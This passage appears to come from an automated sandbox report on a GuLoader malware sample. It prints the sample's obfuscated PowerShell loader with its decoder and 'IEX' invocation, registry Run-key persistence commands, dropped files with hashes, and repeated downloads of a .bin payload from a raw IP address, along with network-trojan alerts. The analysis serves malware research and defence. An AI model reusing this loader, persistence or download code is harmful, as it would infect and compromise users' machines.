FCAlCEs8Se7Sj8Pa4Wa8Si4Af8 R4 B9Li8Un9Cr4 H8Pr4FeCGaC P8Ec0Lo9FaDGe' M;Af&Ro(Ge`$StSSukSnlMidRetmee P7Bi)Kr Af`$CoPOvrIfo Vp Si Bt NiZeaCotAneTr8Qu;An`$BaHDerdit PeSnsNs2ls=Be`"""Re`$Hye SnnavGr: CAJaPLoPTiDRaAPrTFoASa\ NsKapTurSkhTraEkgUne KrWisBo\ CdVee MrMoiopvHyeFrdMin BeAfs SsId\HmcDooLouStpPreTedFo\Ga`$PrIVuNOuS ETOnD CIOpRFu\RiW riSenAnddycCihFreScs AtIk. FCIshSpeUn`"""Ce;Ti`$RePAtrOvoMipGriKatLuiSta AtEmeWh9Rh T=Kr MiCUnh MoFlnImtriaSaq FuShi ArDeoDa0tr4pr Mi'St9An0GeEPi4caCta6 UDChBWhCFo4StDUnDSiCbi0StDAlDUnDar5 BCAn0DeDNo1no9Sp4 A8Pr9Gr9In4ceETyF UESl7 BCsuDInCIn7 DCDi0 AD A1PaDSe9 K9BaATrFSkDSpFHiBCa9StAFuF v2InD SDGsDMa8UnD S1WaEHy9Se8BoETe8TrE PEAp6 FD I1 RD S5 IDSp0SaFkl5TiDDi8 SDPe8ArF C6BaCSeD TCsu0UdDSn1TrCOr7Br9MiCEn9 H0ToF QC KC C6BrCDu0 VDEl1AnC P7Br8De6Sq9InDPo'Me;No&Co(ma`$KoS PkPhlRedBetNoeLi7Sa)Po Yn`$SkPSyrFuoFopPai GtTei AaKrt Ie C9Pr; M`$OzLuduPem SpAtnSaeSnsTh0Te T=Ir DgCArhLsoUnnWitImaHeqStuUdiNorUdoSc0Pa4Fr At'SwEBjFGaENa7MuCLiD PC S7BrCSt0SkD R1 NDLe9 A9FdACiEtr6RuCFo1UlD UA BCIn0 EDStDSpDDi9UlDIn1Me9foAReFAaD FDAbABrCHa0ErDSu1PaCsu6ArDImBEvCKe4SyEMi7 sDSk1 EC E6 DCSl2MiD BD GD i7SuD t1CrC R7Gi9maA CFAf9SuD P5TyCFr6KoCFa7SkDKvCLyDPu5OwDAf8DeEHa9Sa8SpEPo8ByEToF O7frDinB TCfr4BuCSkDSt9FrCBr9 c0 BEBy4miCLe6 PDKeBDyCPr4SkDTrD SCLi0 SDThDElDBa5IsC I0FlDUn1An9Da8 G9 G4sv8 B5Ri8Sy4id8Tr6Co8Nu0In9Vi8Ma9Aa4Uf9fr4 U9Fa0LiF ECdeCBe6 ECKa0 KDEv1usCSc7Ob8 S7Bi9su8 P9un4 K8Cl1Sa8 I3 P8beDGe9 BDSt'Gl;Py&Di( G`$ PSUnk BlSkdExtloe U7Ga)ek Kv`$ DL AuScmBepRun We AsHa0 G;Un`$kaCLeoUnnPat Be BxmetaniFiv Teta=So`$FoP SrOyoEpp MiAltAfi OaSatSkesn. EcKeoAtu HnUntLa-Di5Re7Re9Vi-Be1 M0 A2 B4 S;Su`$ JLFru EmRepTinOveSksPa1Co A=ta CoCTvhbeoscnVitRoaElqFeu BiInrRuoFo0pe4Ta D'NeEArFDiEKu7MaCHjDDaCAn7PlCOv0BaDko1BeD F9Je9SlAPsEPa6syCta1NoDDuASpCFo0coD JDitDDu9 gDPt1No9AfABeFIsDBaDUdAUlCHe0 UDKp1 cCai6KrDkeB ICSm4SmEMi7PaDBj1 MCCo6UnCSy2HuDSpDInDUd7LaDSa1IlCBa7 N9SaAFiFTi9ToDfe5 SCTr6taCAc7UbDDeCMiD V5NoD F8SkETe9Co8 FEBi8prE DFVr7 NDMrBKoCAd4UrC EDMo9ToCBo9Sw0RoEGe4SuCDe6OvD LBNoCRe4CoDUnDTeCIn0PeDUnDArDRe5 kC U0TiDSp1Br9 c8Pr9 R4Co8Ne1 M8 p3Bo8 PDSk9PrFEt8 L5Ve8Sh4Pe8St6Do8Sl0Ch9Br8Va9By4Ca9 c0VaEAs7SeDVi5 NDLo9UnD K6 FCRa1PsDFrF CDAr1St8 u6Pa8al0Di8ScDGaD l5 FDKo3SoDJe3haCCa6 MC M1AtDBiA SDCe0 UCMa7 EDVi9akCCh1JuCRa7PiDweDTeDUnFnaDInFRaD S1SoD SAObCLa7Su9Ma8 K9Tk4 C9Hj0BeFSt7 ODFaBEbDRaACaCSu0ElDCa1SiCReCArC D0DeDspD FCLa2 RDVa1Av9RaDAb' U;Sk&In(Fo`$GaSSak Al TdSetKleMb7Ak)Ro To`$EmLFiu KmGupAbnUdeSosSv1Al; N`$TjLThuKimHapGanPaeTosPo2Sp da= S MCPihUnoTenFatGaaPuqCouKai srBeoSa0Me4Fo By'He9Pr0toCDe4CiDSe1MiCCo6FoDBe1CaDDoDTiDFi5sa9Ui4do8Hj9Wa9Re4PoE SF UENo7 KCStD hC r7IlC R0FiDbo1GeDUn9 S9RoATrE h6SeCCu1EnDUnALaCMe0 GD RDInDId9 TDSi1Em9InA FFFuD PDAfAdiC L0 ADHo1CaCSn6DiDShBAbC P4GrETa7LeDDa1AnCch6GeCGa2 PDUnDBoDOs7 aD S1DrCEl7pr9ToABrFAt9MaDLr5CrC T6LoCMa7ClDMaCInDTo5SoDHk8 KEFu9Cl8 KE T8WrEsuFCh3snDce1AeCtr0exFCh0CaDRe1 UDBa8 UDOr1FeDWe3stDEx5FeCBe0UnDIs1BiFMo2StDAdB TCdr6StFDo2KvC T1OmDFoAHaDsv7HeCFi0poDOiDTiDUnB IDUdASyECi4KoDSkBKrDIoDPsDOvAFoCMa0 SD S1SpCNo6Bl9ovCAc9RuCToD K2alDMeFUnC D4gr9De4Pi9Sa0PoEGa7SkCCo0FaD h1HoChe6 UDPr1FoDSaBSlCUd7ApDJo7 GDHaBBoCSp4PuDGa1 ACTr7 T9Pr4El9St0HoESk4FoCUn6BaDHn1SiDFoEFrC M1UdCIn7NoCKa0UtDAlDdiDLu2 ACAuDUr9 GDRe9Ou8 U9Pa4 J9BrCOpF I3AnFNo0 SEkl0 N9Bu4 AFAn4 A9PeC CEToFGeFevDCuDKlAVoCAf0kuEFl4MeCMi0ThCAf6PrEFo9Ro9ka8Ma9Ap4 JECoFTeFMiDSpDSyAKlCfl0UdEEf4NoCSt0BeCSa6CoEdi9Ad9Tu8Se9Or4 kE FFInFMuD NDNoAAnCTr0JeEAn4BoC R0VeCMe6TrEAr9Fo9Ko8An9Ci4 GEJuFBeFFeDPpD SAEvCSp0StE U4HrC R0SpCNo6 UEDi9Av9sk8Un9tr4erEThFFrFSkDCoDFoAGrCBr0 FECh4TeCAk0 SCBa6FjEDi9 N9enD M9No4Be9SkC LEBoFBlFSpD BDOpAKaCGa0ScEFa4PrC S0 HCFi6seETa9Ha9SeD K9TkDSk9GaD K'Re;Ve&Ra(Za`$fuS UkEllIndFotdaeSa7Ku) F A`$ PLDiuQumCrpPrnIneStsfi2Wi;Hj`$TrLSpuWomPlpCon Pe dsVr3Po Ba=St spCoph AoAsn HtsvaHyqomu biAprReoOv0Su4 H Ss'Sa9Sv0 TCSk4DaDHa1gaCAs6InDPi1AnDUnDKvDte5Af9SuAInF CDToDLoADeCKa2TaDCoBbrDHoF SD C1Tv9chCSk9Va0AmFSaC MCem6 AC t0UnDTi1 VCAl7Pi8Me7 P9Fe8 F9 R0LoEDe7BrDOv5BeDDe9SmD Q6ReCEn1TaDKaFBuD C1Ad8Sk6 A8 U0To8PrDchDPr5ElDCo3BeD N3SuCSn6UnCFo1SaD VAMiDMa0GeC A7 ADDd9 RCbl1TrCFa7FaD FDLiDAlFTaDPsFBoDIr1RiDEnAmeCDd7Fo9Ph8fe9Fi0BeE D4 MCPe6SlDDe5PyDKu1RoDEb2BrDBoB EDre8sdDVeDNyD c5InCOv0DiDEpDWiDFiB RDOmARi9Vo8Ab8De4Om9Ae8 G8Hu4Un9UhDud'St;Ve& S(Su`$HySKek Ul PdAft BeOe7 F) I De`$ XLLeuBzmGrptonUpeArs S3Di#Fa;""";function Lumpnes8 ($Forecastors,$Sambuke249) {&$Eksperimenteredes0 (Lumpnes9 'He$EfFRioNor CeUnc Ua hsCatAfoSurMosMe Sa-StbTexCeo DrSp No$gsS OaSumFobPluauk He R2Di4Eq9Fo ');}function Lumpnes7($Smidiggrelsers) {return $Smidiggrelsers.Length;}Function Lumpnes9 ([String]$Fringernes) { $informationsindsatsens = Lumpnes7 $Fringernes; For($Tilluk=2; $Tilluk -lt $informationsindsatsens-1; $Tilluk+=(3)){ $Chontaquiro = $Chontaquiro + $Fringernes.Substring($Tilluk, 1); } $Chontaquiro;}$Eksperimenteredes0 = Lumpnes9 'stIReE EXOp ';$Eksperimenteredes1= Lumpnes9 $Hundredal;&$Eksperimenteredes0 $Eksperimenteredes1;<#Obligational Hirsle Ladron uddannelsestyperne Bindegarns Slape #>; | |||
| (PID) Process: | (7396) wab.exe | Key: | HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run |
| Operation: | write | Name: | Music |
Value: %Ertacx% -windowstyle minimized $Etiologist=(Get-ItemProperty -Path 'HKCU:\Attrups\').Damplokomotiver;%Ertacx% -windowstyle minimized ($Etiologist) | |||
| (PID) Process: | (7396) wab.exe | Key: | HKEY_CURRENT_USER\Environment |
| Operation: | write | Name: | Ertacx |
Value: c:\windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | |||
Executable files
0
Suspicious files
4
Text files
6
Unknown types
0
Dropped files
PID | Process | Filename | Type | |
|---|---|---|---|---|
| 7400 | 417f6284c3c8c25c8b4520cf02e6edc06f18ec73d11ff1cd15caf021a7561496.exe | C:\Users\admin\AppData\Roaming\sprhagers\derivedness\couped\colog.tra | — | |
MD5:— | SHA256:— | |||
| 7400 | 417f6284c3c8c25c8b4520cf02e6edc06f18ec73d11ff1cd15caf021a7561496.exe | C:\Users\admin\AppData\Local\Temp\nshBB06.tmp | — | |
MD5:— | SHA256:— | |||
| 7400 | 417f6284c3c8c25c8b4520cf02e6edc06f18ec73d11ff1cd15caf021a7561496.exe | C:\Users\admin\AppData\Roaming\sprhagers\derivedness\couped\chucklehead.str | binary | |
MD5:ABEEAD25C38E8098051FB84235FBEACE | SHA256:E819B4D9187E1F1F527AB34E4A674C7DBC62E02557B2C92FF6631EB674EC8389 | |||
| 7400 | 417f6284c3c8c25c8b4520cf02e6edc06f18ec73d11ff1cd15caf021a7561496.exe | C:\Users\admin\AppData\Roaming\sprhagers\derivedness\couped\sintoism.bil | binary | |
MD5:1BBC54C6A316224DC9B9722ADB346DAA | SHA256:9893876553150E4D248B98B6CEBE5929F9BDB2340BFA7FF393553B244ACFFE69 | |||
| 7400 | 417f6284c3c8c25c8b4520cf02e6edc06f18ec73d11ff1cd15caf021a7561496.exe | C:\Users\admin\AppData\Roaming\sprhagers\derivedness\couped\Krigslistens.Uns149 | text | |
MD5:5A6B11035D4AFF3FBBA69B0067DD41DD | SHA256:F51B75B0A3C1A9A9095FFCD033E7261460EDA6DFAEC91476AA5FA25C8F5E884D | |||
| 8068 | powershell.exe | C:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_yagbwjnk.aei.psm1 | text | |
MD5:D17FE0A3F47BE24A6453E9EF58C94641 | SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7 | |||
| 7828 | powershell.exe | C:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_yyai35iv.twf.psm1 | text | |
MD5:D17FE0A3F47BE24A6453E9EF58C94641 | SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7 | |||
| 8068 | powershell.exe | C:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_isglckn1.ueh.ps1 | text | |
MD5:D17FE0A3F47BE24A6453E9EF58C94641 | SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7 | |||
| 8068 | powershell.exe | C:\Users\admin\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache | binary | |
MD5:8E7D26D71A1CAF822C338431F0651251 | SHA256:495E7C4588626236C39124CCE568968E874BEDA950319BA391665B43DE111084 | |||
| 7828 | powershell.exe | C:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_fe15vg5o.n2u.ps1 | text | |
MD5:D17FE0A3F47BE24A6453E9EF58C94641 | SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7 | |||
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
9
TCP/UDP connections
22
DNS requests
12
Threats
6
HTTP requests
PID | Process | Method | HTTP Code | IP | URL | CN | Type | Size | Reputation |
|---|---|---|---|---|---|---|---|---|---|
5496 | MoUsoCoreWorker.exe | GET | 200 | 2.16.164.49:80 | http://crl.microsoft.com/pki/crl/products/MicRooCerAut2011_2011_03_22.crl | unknown | — | — | whitelisted |
5496 | MoUsoCoreWorker.exe | GET | 200 | 95.101.149.131:80 | http://www.microsoft.com/pkiops/crl/MicSecSerCA2011_2011-10-18.crl | unknown | — | — | whitelisted |
— | — | GET | 200 | 95.101.149.131:80 | http://www.microsoft.com/pkiops/crl/MicSecSerCA2011_2011-10-18.crl | unknown | — | — | whitelisted |
6544 | svchost.exe | GET | 200 | 2.17.190.73:80 | http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBSAUQYBMq2awn1Rh6Doh%2FsBYgFV7gQUA95QNVbRTLtm8KPiGxvDl7I90VUCEAJ0LqoXyo4hxxe7H%2Fz9DKA%3D | unknown | — | — | whitelisted |
4736 | SIHClient.exe | GET | 200 | 23.35.229.160:80 | http://www.microsoft.com/pkiops/crl/Microsoft%20ECC%20Update%20Secure%20Server%20CA%202.1.crl | unknown | — | — | whitelisted |
7396 | wab.exe | GET | 400 | 64.188.12.78:80 | http://64.188.12.78/aPpILXhtUKtyAtfr66.bin | unknown | — | — | unknown |
7396 | wab.exe | GET | 400 | 64.188.12.78:80 | http://64.188.12.78/aPpILXhtUKtyAtfr66.bin | unknown | — | — | unknown |
7396 | wab.exe | GET | 400 | 64.188.12.78:80 | http://64.188.12.78/aPpILXhtUKtyAtfr66.bin | unknown | — | — | unknown |
4736 | SIHClient.exe | GET | 200 | 23.35.229.160:80 | http://www.microsoft.com/pkiops/crl/Microsoft%20ECC%20Product%20Root%20Certificate%20Authority%202018.crl | unknown | — | — | whitelisted |
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
Connections
PID | Process | IP | Domain | ASN | CN | Reputation |
|---|---|---|---|---|---|---|
— | — | 51.104.136.2:443 | — | MICROSOFT-CORP-MSN-AS-BLOCK | IE | whitelisted |
4 | System | 192.168.100.255:137 | — | — | — | whitelisted |
2104 | svchost.exe | 51.104.136.2:443 | — | MICROSOFT-CORP-MSN-AS-BLOCK | IE | whitelisted |
5496 | MoUsoCoreWorker.exe | 2.16.164.49:80 | crl.microsoft.com | Akamai International B.V. | NL | whitelisted |
5496 | MoUsoCoreWorker.exe | 95.101.149.131:80 | www.microsoft.com | Akamai International B.V. | NL | whitelisted |
4 | System | 192.168.100.255:138 | — | — | — | whitelisted |
— | — | 95.101.149.131:80 | www.microsoft.com | Akamai International B.V. | NL | whitelisted |
2112 | svchost.exe | 4.231.128.59:443 | settings-win.data.microsoft.com | MICROSOFT-CORP-MSN-AS-BLOCK | IE | whitelisted |
6544 | svchost.exe | 20.190.159.4:443 | login.live.com | MICROSOFT-CORP-MSN-AS-BLOCK | IE | whitelisted |
6544 | svchost.exe | 2.17.190.73:80 | ocsp.digicert.com | AKAMAI-AS | DE | whitelisted |
DNS requests
Domain | IP | Reputation |
|---|---|---|
google.com |
| whitelisted |
crl.microsoft.com |
| whitelisted |
www.microsoft.com |
| whitelisted |
settings-win.data.microsoft.com |
| whitelisted |
login.live.com |
| whitelisted |
ocsp.digicert.com |
| whitelisted |
slscr.update.microsoft.com |
| whitelisted |
fe3cr.delivery.mp.microsoft.com |
| whitelisted |
Threats
PID | Process | Class | Message |
|---|---|---|---|
7396 | wab.exe | A Network Trojan was detected | LOADER [ANY.RUN] GuLoader |
7396 | wab.exe | Potentially Bad Traffic | ET HUNTING Generic .bin download from Dotted Quad |
7396 | wab.exe | Potentially Bad Traffic | ET HUNTING Generic .bin download from Dotted Quad |
7396 | wab.exe | A Network Trojan was detected | LOADER [ANY.RUN] GuLoader |
7396 | wab.exe | Potentially Bad Traffic | ET HUNTING Generic .bin download from Dotted Quad |
7396 | wab.exe | A Network Trojan was detected | LOADER [ANY.RUN] GuLoader |